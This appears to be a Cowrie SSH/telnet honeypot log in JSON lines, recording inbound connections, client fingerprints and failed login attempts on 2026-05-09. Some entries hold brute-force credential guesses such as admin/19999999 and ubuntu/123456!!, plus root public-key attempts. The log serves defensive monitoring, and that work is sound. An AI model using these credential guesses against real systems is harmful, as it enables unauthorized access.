{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:05.278397Z","src_ip":"14.103.103.211","session":"90ac4fe03e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"d317f9d33885","protocol":"telnet","message":"New connection: 135.148.33.91:51820 (159.203.135.109:23) [session: d317f9d33885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:13.780238Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.216.246.253","src_port":41699,"dst_ip":"10.17.0.5","dst_port":23,"session":"251be2d39e8b","protocol":"telnet","message":"New connection: 115.216.246.253:41699 (10.17.0.5:23) [session: 251be2d39e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:24.280948Z"}
{"eventid":"cowrie.session.closed","duration":12.376638412475586,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:36.657490Z","src_ip":"115.216.246.253","session":"251be2d39e8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:42.932899Z","src_ip":"14.103.114.231","session":"cf17e0059388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":37810,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b5c85efb1c7","protocol":"telnet","message":"New connection: 166.62.124.255:37810 (10.17.0.5:23) [session: 3b5c85efb1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:47.283118Z"}
{"eventid":"cowrie.session.closed","duration":35.718693256378174,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:49.498777Z","src_ip":"135.148.33.91","session":"d317f9d33885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":56128,"dst_ip":"10.17.0.5","dst_port":22,"session":"766ba74f3d37","protocol":"ssh","message":"New connection: 187.212.47.18:56128 (10.17.0.5:22) [session: 766ba74f3d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:11.149876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:11.155243Z","src_ip":"187.212.47.18","session":"766ba74f3d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:11.379829Z","src_ip":"187.212.47.18","session":"766ba74f3d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19999999","message":"login attempt [admin/19999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:11.707647Z","src_ip":"187.212.47.18","session":"766ba74f3d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f493ed66e6","protocol":"telnet","message":"New connection: 135.148.33.91:58054 (159.203.135.109:23) [session: e2f493ed66e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:12.316905Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:12.785686Z","src_ip":"187.212.47.18","session":"766ba74f3d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":45366,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb96e0958e3e","protocol":"ssh","message":"New connection: 154.81.14.172:45366 (10.17.0.5:22) [session: cb96e0958e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:14.549359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:14.554078Z","src_ip":"154.81.14.172","session":"cb96e0958e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.886271953582764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:18.169305Z","src_ip":"166.62.124.255","session":"3b5c85efb1c7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:30.699094Z","src_ip":"154.81.14.172","session":"cb96e0958e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:30.707769Z","src_ip":"154.81.14.172","session":"cb96e0958e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.77784585952759,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:26:47.094618Z","src_ip":"135.148.33.91","session":"e2f493ed66e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":35760,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e3d2d38fe1","protocol":"ssh","message":"New connection: 181.97.227.163:35760 (10.17.0.5:22) [session: d8e3d2d38fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:09.010296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:09.015105Z","src_ip":"181.97.227.163","session":"d8e3d2d38fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:09.212122Z","src_ip":"181.97.227.163","session":"d8e3d2d38fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456!!","message":"login attempt [ubuntu/123456!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:10.028519Z","src_ip":"181.97.227.163","session":"d8e3d2d38fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:11.229387Z","src_ip":"181.97.227.163","session":"d8e3d2d38fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":33816,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ea62a648a39","protocol":"ssh","message":"New connection: 154.81.14.172:33816 (10.17.0.5:22) [session: 7ea62a648a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:45.422480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:45.427478Z","src_ip":"154.81.14.172","session":"7ea62a648a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:45.643634Z","src_ip":"154.81.14.172","session":"7ea62a648a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postfixtester","password":"postfixtester","message":"login attempt [postfixtester/postfixtester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:47.131065Z","src_ip":"154.81.14.172","session":"7ea62a648a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:27:48.346819Z","src_ip":"154.81.14.172","session":"7ea62a648a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.52.145","src_port":35504,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3f97da00bf","protocol":"ssh","message":"New connection: 198.98.52.145:35504 (10.17.0.5:22) [session: 7e3f97da00bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.751378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.757020Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.792831Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:47:10:8d:5f:1b:6b:d5:9d:34:97:38:e0:b1:d1:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdzb0+jMehwF85mf+ZcYjv35ipU4w7v0JbAg/m9Vcl23jWevlTAzntqfWDg584DK4C9irzBg675CxxB814kdQgqRsux1WD/QkZvGd88RRxJHr8DQhl1/Q8wDdw8HbAAMhp4z7gljLmwiJAN9HiKAAah5r6cIoh7/LiVEoSI932K2BLi3MwxUDNNCGFszTH/sTbEfHvH05/E8wrGTrBCVuNPydCqtBmBhBDZNDdVBnf96DLDdklHpzSUVZrvY5lDtmNTIsPck9IRc85o2eJwDk0SchxECZlJfD10XdV4jAuB+TM5p6vDBCeDxDzMhoSypK9syHpCdguRWhbwjQ3LEDv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:47:10:8d:5f:1b:6b:d5:9d:34:97:38:e0:b1:d1:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.841225Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:47:10:8d:5f:1b:6b:d5:9d:34:97:38:e0:b1:d1:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdzb0+jMehwF85mf+ZcYjv35ipU4w7v0JbAg/m9Vcl23jWevlTAzntqfWDg584DK4C9irzBg675CxxB814kdQgqRsux1WD/QkZvGd88RRxJHr8DQhl1/Q8wDdw8HbAAMhp4z7gljLmwiJAN9HiKAAah5r6cIoh7/LiVEoSI932K2BLi3MwxUDNNCGFszTH/sTbEfHvH05/E8wrGTrBCVuNPydCqtBmBhBDZNDdVBnf96DLDdklHpzSUVZrvY5lDtmNTIsPck9IRc85o2eJwDk0SchxECZlJfD10XdV4jAuB+TM5p6vDBCeDxDzMhoSypK9syHpCdguRWhbwjQ3LEDv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.844915Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:e2:ee:0e:89:5e:8b:71:31:2e:1b:ac:fa:45:a1:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6wB0qI5r+gvp1NyZLo9DySIi+Sjc9JW+VOynLH8ofjdo/aAha/Cib8JJtWm4RaYQjfoe0AudxMSjUxdeOaWKJLcGXjKUdQ+ERXlh4hiBYKRIxA5mbwN31aZhg0wwor9k+XiFS41ejiPmWKtIjNagMQICiPU0oFZN80t2yApsMswwkx8RJalT4Mcu/1ruVo0/nfw3TlzGeCkNLZ+bWd0RiXFrDufOnFHpqE1cFPRHm9hLDoOmMW5ThGsjzFxMgxyEnAflTtdKGzbVRsQOuN0f1zt/7JKDVFBKUmvY4C+Uj5z10rqOc5jtANojx+NPheZLFfA4L1KB2P927pMwDr+F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:e2:ee:0e:89:5e:8b:71:31:2e:1b:ac:fa:45:a1:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.858030Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:e2:ee:0e:89:5e:8b:71:31:2e:1b:ac:fa:45:a1:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6wB0qI5r+gvp1NyZLo9DySIi+Sjc9JW+VOynLH8ofjdo/aAha/Cib8JJtWm4RaYQjfoe0AudxMSjUxdeOaWKJLcGXjKUdQ+ERXlh4hiBYKRIxA5mbwN31aZhg0wwor9k+XiFS41ejiPmWKtIjNagMQICiPU0oFZN80t2yApsMswwkx8RJalT4Mcu/1ruVo0/nfw3TlzGeCkNLZ+bWd0RiXFrDufOnFHpqE1cFPRHm9hLDoOmMW5ThGsjzFxMgxyEnAflTtdKGzbVRsQOuN0f1zt/7JKDVFBKUmvY4C+Uj5z10rqOc5jtANojx+NPheZLFfA4L1KB2P927pMwDr+F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.861976Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:01:51:45:78:c7:e5:5f:31:17:91:40:6a:e1:cf:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVv5oNOgvD4yqAJyOgp02sDYGAilQyOG5E8OjN8oykV2UyrWqvLjLgH2Tov1AaEkMEumzyUGsg2QAqHsW0eDJBwcH8rcD0i2xVo6JhvZ96O6AH3cXCjtnuyzia8uNEVFKCt5D2Gn7Lyk29asnnvMAZT23TpJPi9lejE/PnRCtLpSahmOrY9NadvOZVtU463ylsVmW/tnM5GhTuF0h7euP6IOkG7jAp8sxdVQEtvM0CAKHbp2B0qEdPOqu1INagE+p4VGYGOUE9tH7Oc0qLqoD+3tpyt//Xuy1Xdmdp6TbUbMtTroNRaUO7A/11b9GrmeA9QKsj/BIZsoZihDGDQfjF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:01:51:45:78:c7:e5:5f:31:17:91:40:6a:e1:cf:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.870518Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:01:51:45:78:c7:e5:5f:31:17:91:40:6a:e1:cf:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVv5oNOgvD4yqAJyOgp02sDYGAilQyOG5E8OjN8oykV2UyrWqvLjLgH2Tov1AaEkMEumzyUGsg2QAqHsW0eDJBwcH8rcD0i2xVo6JhvZ96O6AH3cXCjtnuyzia8uNEVFKCt5D2Gn7Lyk29asnnvMAZT23TpJPi9lejE/PnRCtLpSahmOrY9NadvOZVtU463ylsVmW/tnM5GhTuF0h7euP6IOkG7jAp8sxdVQEtvM0CAKHbp2B0qEdPOqu1INagE+p4VGYGOUE9tH7Oc0qLqoD+3tpyt//Xuy1Xdmdp6TbUbMtTroNRaUO7A/11b9GrmeA9QKsj/BIZsoZihDGDQfjF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.874271Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:29:94:7b:c2:82:c6:74:36:99:25:a2:dd:a8:5e:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAr/Tq8gZT6fMfu9fln6vMfURRuFYCBh3ZqMhODu1N5B+kNR8Ne5uwRLHICbiEQZrMPKIqYUaFJM4IYcEq8oxRKR9Ac3quJRBdodnOsyPYZQw0pXWJkSoOnJBgZ1DSgdimas/UhiJA58gaw8VTELvpidPVg5KzadEbZO0ovgSfcx0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:29:94:7b:c2:82:c6:74:36:99:25:a2:dd:a8:5e:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.884852Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:29:94:7b:c2:82:c6:74:36:99:25:a2:dd:a8:5e:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAr/Tq8gZT6fMfu9fln6vMfURRuFYCBh3ZqMhODu1N5B+kNR8Ne5uwRLHICbiEQZrMPKIqYUaFJM4IYcEq8oxRKR9Ac3quJRBdodnOsyPYZQw0pXWJkSoOnJBgZ1DSgdimas/UhiJA58gaw8VTELvpidPVg5KzadEbZO0ovgSfcx0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:28:15.888488Z","src_ip":"198.98.52.145","session":"7e3f97da00bf","protocol":"ssh"}
